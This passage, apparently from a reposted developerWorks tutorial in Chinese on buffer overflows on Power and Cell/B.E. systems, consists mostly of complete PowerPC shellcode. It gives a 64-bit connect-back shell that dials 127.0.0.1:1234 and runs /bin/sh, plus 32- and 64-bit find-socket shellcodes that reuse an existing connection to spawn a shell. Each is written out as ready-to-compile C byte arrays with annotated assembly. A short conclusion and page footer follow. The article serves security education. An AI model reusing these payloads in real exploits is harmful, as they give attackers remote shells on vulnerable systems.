    "\x7c\x24\x0b\x78"      /*  mr      r4,r1                     */
    "\x38\x1d\xfe\x0c"      /*  addi    r0,r29,-500               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "/bin/sh"
;


清单 23. 64 位网络连接代码(cntsockcode)
				
#define CNTSOCKADDR1 54
#define CNTSOCKADDR2 58
#define CNTSOCKPORT  62

char cntsockcode64[]=       /*  183 bytes                         */
    "\x7f\xff\xfa\x78"      /*  xor     r31,r31,r31               */
    "\x3b\xa0\x01\xff"      /*  li      r29,511                   */
    "\x3b\x9d\xfe\x02"      /*  addi    r28,r29,-510              */
    "\x3b\x7d\xfe\x03"      /*  addi    r27,r29,-509              */
    "\xfb\xe1\xff\xf9"      /*  stdu    r31,-8(r1)                */
    "\xfb\x81\xff\xf9"      /*  stdu    r28,-8(r1)                */
    "\xfb\x61\xff\xf9"      /*  stdu    r27,-8(r1)                */
    "\x7c\x24\x0b\x78"      /*  mr      r4,r1                     */
    "\x38\x7d\xfe\x02"      /*  addi    r3,r29,-510               */
    "\x38\x1d\xfe\x67"      /*  addi    r0,r29,-409               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "\x7c\x7a\x1b\x78"      /*  mr      r26,r3                    */
    "\x3b\x3d\xfe\x11"      /*  addi    r25,r29,-495              */
    "\x3e\xe0\x7f\x00"      /*  lis     r23,32512                 */
    "\x62\xf7\x00\x01"      /*  ori     r23,r23,1                 */
    "\x3a\xc0\x04\xd2"      /*  li      r22,1234                  */
    "\x96\xe1\xff\xfc"      /*  stwu    r23,-4(r1)                */
    "\x96\xc1\xff\xfc"      /*  stwu    r22,-4(r1)                */
    "\x93\x61\xff\xfe"      /*  stw     r27,-2(r1)                */
    "\x7c\x35\x0b\x78"      /*  mr      r21,r1                    */
    "\xfb\x21\xff\xf9"      /*  stdu    r25,-8(r1)                */
    "\xfa\xa1\xff\xf9"      /*  stdu    r21,-8(r1)                */
    "\xfb\x41\xff\xf9"      /*  stdu    r26,-8(r1)                */
    "\x7c\x24\x0b\x78"      /*  mr      r4,r1                     */
    "\x38\x7d\xfe\x04"      /*  addi    r3,r29,-508               */
    "\x38\x1d\xfe\x67"      /*  addi    r0,r29,-409               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "\x7f\x64\xdb\x78"      /*  mr      r4,r27                    */
    "\x7f\x43\xd3\x78"      /*  mr      r3,r26                    */
    "\x38\x1d\xfe\x40"      /*  addi    r0,r29,-448               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "\x37\x7b\xff\xff"      /*  addic.  r27,r27,-1                */
    "\x40\x80\xff\xec"      /*  bge+    <cntsockcode64+108>       */
    "\x7c\xa5\x2a\x79"      /*  xor.    r5,r5,r5                  */
    "\x40\x82\xff\xfd"      /*  bnel+   <cntsockcode64+132>       */
    "\x7f\xc8\x02\xa6"      /*  mflr    r30                       */
    "\x3b\xde\x01\xff"      /*  addi    r30,r30,511               */
    "\x38\x7e\xfe\x25"      /*  addi    r3,r30,-475               */
    "\x98\xbe\xfe\x2c"      /*  stb     r5,-468(r30)              */
    "\xf8\xa1\xff\xf9"      /*  stdu    r5,-8(r1)                 */
    "\xf8\x61\xff\xf9"      /*  stdu    r3,-8(r1)                 */
    "\x7c\x24\x0b\x78"      /*  mr      r4,r1                     */
    "\x38\x1d\xfe\x0c"      /*  addi    r0,r29,-500               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "/bin/sh"
;


清单 24. 查找套接字代码(fndsockcode)
				
#define FNDSOCKPORT 86

char fndsockcode[]=         /*  171 bytes                         */
    "\x7f\xff\xfa\x78"      /*  xor     r31,r31,r31               */
    "\x3b\xa0\x01\xff"      /*  li      r29,511                   */
    "\x97\xe1\xff\xfc"      /*  stwu    r31,-4(r1)                */
    "\x7c\x3c\x0b\x78"      /*  mr      r28,r1                    */
    "\x3b\x7d\xfe\x11"      /*  addi    r27,r29,-495              */
    "\x97\x61\xff\xfc"      /*  stwu    r27,-4(r1)                */
    "\x7c\x3a\x0b\x78"      /*  mr      r26,r1                    */
    "\x97\x41\xff\xfc"      /*  stwu    r26,-4(r1)                */
    "\x97\x81\xff\xfc"      /*  stwu    r28,-4(r1)                */
    "\x97\xe1\xff\xfc"      /*  stwu    r31,-4(r1)                */
    "\x3b\xff\x01\xff"      /*  addi    r31,r31,511               */
    "\x3b\xff\xfe\x02"      /*  addi    r31,r31,-510              */
    "\x38\x21\x01\xff"      /*  addi    r1,r1,511                 */
    "\x38\x21\xfe\x05"      /*  addi    r1,r1,-507                */
    "\x97\xe1\xff\xfc"      /*  stwu    r31,-4(r1)                */
    "\x7c\x24\x0b\x78"      /*  mr      r4,r1                     */
    "\x38\x7d\xfe\x08"      /*  addi    r3,r29,-504               */
    "\x38\x1d\xfe\x67"      /*  addi    r0,r29,-409               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "\x3b\x3c\x01\xff"      /*  addi    r25,r28,511               */
    "\xa3\x39\xfe\x03"      /*  lhz     r25,-509(r25)             */
    "\x28\x19\x04\xd2"      /*  cmplwi  r25,1234                  */
    "\x40\x82\xff\xd0"      /*  bne+    <fndsockcode+40>          */
    "\x3b\x1d\xfe\x03"      /*  addi    r24,r29,-509              */
    "\x7f\x04\xc3\x78"      /*  mr      r4,r24                    */
    "\x7f\xe3\xfb\x78"      /*  mr      r3,r31                    */
    "\x38\x1d\xfe\x40"      /*  addi    r0,r29,-448               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "\x37\x18\xff\xff"      /*  addic.  r24,r24,-1                */
    "\x40\x80\xff\xec"      /*  bge+    <fndsockcode+96>          */
    "\x7c\xa5\x2a\x79"      /*  xor.    r5,r5,r5                  */
    "\x40\x82\xff\xfd"      /*  bnel+   <fndsockcode+120>         */
    "\x7f\xc8\x02\xa6"      /*  mflr    r30                       */
    "\x3b\xde\x01\xff"      /*  addi    r30,r30,511               */
    "\x38\x7e\xfe\x25"      /*  addi    r3,r30,-475               */
    "\x98\xbe\xfe\x2c"      /*  stb     r5,-468(r30)              */
    "\x94\xa1\xff\xfc"      /*  stwu    r5,-4(r1)                 */
    "\x94\x61\xff\xfc"      /*  stwu    r3,-4(r1)                 */
    "\x7c\x24\x0b\x78"      /*  mr      r4,r1                     */
    "\x38\x1d\xfe\x0c"      /*  addi    r0,r29,-500               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "/bin/sh"
;


清单 25. 64 位查找套接字代码(fndsockcode)
				
#define FNDSOCKPORT 86

char fndsockcode64[]=       /*  171 bytes                         */
    "\x7f\xff\xfa\x78"      /*  xor     r31,r31,r31               */
    "\x3b\xa0\x01\xff"      /*  li      r29,511                   */
    "\x97\xe1\xff\xfc"      /*  stwu    r31,-4(r1)                */
    "\x7c\x3c\x0b\x78"      /*  mr      r28,r1                    */
    "\x3b\x7d\xfe\x11"      /*  addi    r27,r29,-495              */
    "\x97\x61\xff\xfc"      /*  stwu    r27,-4(r1)                */
    "\x7c\x3a\x0b\x78"      /*  mr      r26,r1                    */
    "\xfb\x41\xff\xf9"      /*  stdu    r26,-8(r1)                */
    "\xfb\x81\xff\xf9"      /*  stdu    r28,-8(r1)                */
    "\xfb\xe1\xff\xf9"      /*  stdu    r31,-8(r1)                */
    "\x3b\xff\x01\xff"      /*  addi    r31,r31,511               */
    "\x3b\xff\xfe\x02"      /*  addi    r31,r31,-510              */
    "\x38\x21\x01\xff"      /*  addi    r1,r1,511                 */
    "\x38\x21\xfe\x09"      /*  addi    r1,r1,-503                */
    "\xfb\xe1\xff\xf9"      /*  stdu    r31,-8(r1)                */
    "\x7c\x24\x0b\x78"      /*  mr      r4,r1                     */
    "\x38\x7d\xfe\x08"      /*  addi    r3,r29,-504               */
    "\x38\x1d\xfe\x67"      /*  addi    r0,r29,-409               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "\x3b\x3c\x01\xff"      /*  addi    r25,r28,511               */
    "\xa3\x39\xfe\x03"      /*  lhz     r25,-509(r25)             */
    "\x28\x19\x04\xd2"      /*  cmplwi  r25,1234                  */
    "\x40\x82\xff\xd0"      /*  bne+    <fndsockcode64+40>        */
    "\x3b\x1d\xfe\x03"      /*  addi    r24,r29,-509              */
    "\x7f\x04\xc3\x78"      /*  mr      r4,r24                    */
    "\x7f\xe3\xfb\x78"      /*  mr      r3,r31                    */
    "\x38\x1d\xfe\x40"      /*  addi    r0,r29,-448               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "\x37\x18\xff\xff"      /*  addic.  r24,r24,-1                */
    "\x40\x80\xff\xec"      /*  bge+    <fndsockcode64+96>        */
    "\x7c\xa5\x2a\x79"      /*  xor.    r5,r5,r5                  */
    "\x40\x82\xff\xfd"      /*  bnel+   <fndsockcode64+120>       */
    "\x7f\xc8\x02\xa6"      /*  mflr    r30                       */
    "\x3b\xde\x01\xff"      /*  addi    r30,r30,511               */
    "\x38\x7e\xfe\x25"      /*  addi    r3,r30,-475               */
    "\x98\xbe\xfe\x2c"      /*  stb     r5,-468(r30)              */
    "\xf8\xa1\xff\xf9"      /*  stdu    r5,-8(r1)                 */
    "\xf8\x61\xff\xf9"      /*  stdu    r3,-8(r1)                 */
    "\x7c\x24\x0b\x78"      /*  mr      r4,r1                     */
    "\x38\x1d\xfe\x0c"      /*  addi    r0,r29,-500               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "/bin/sh"
;





结束语

希望您现在已经充分理解了 Power 和 Cell/B.E 系统上的缓冲区溢出问题。在本文中,我们讨论了如何在 32 和 64 位模式下重写局部变量,如何在 32 和 64 位模式下重写函数指针,并通过 shell、网络和套接字代码样例解释了汇编组件。(责任编辑:A6)


时间:2009-02-27 15:40 来源:developerWorks 中国 作者:Ramon de Carvalho Va 原文链接

好文,顶一下
(0)
0%
文章真差,踩一下
(0)
0%
------分隔线----------------------------


把开源带在你的身边-精美linux小纪念品
无觅相关文章插件,快速提升流量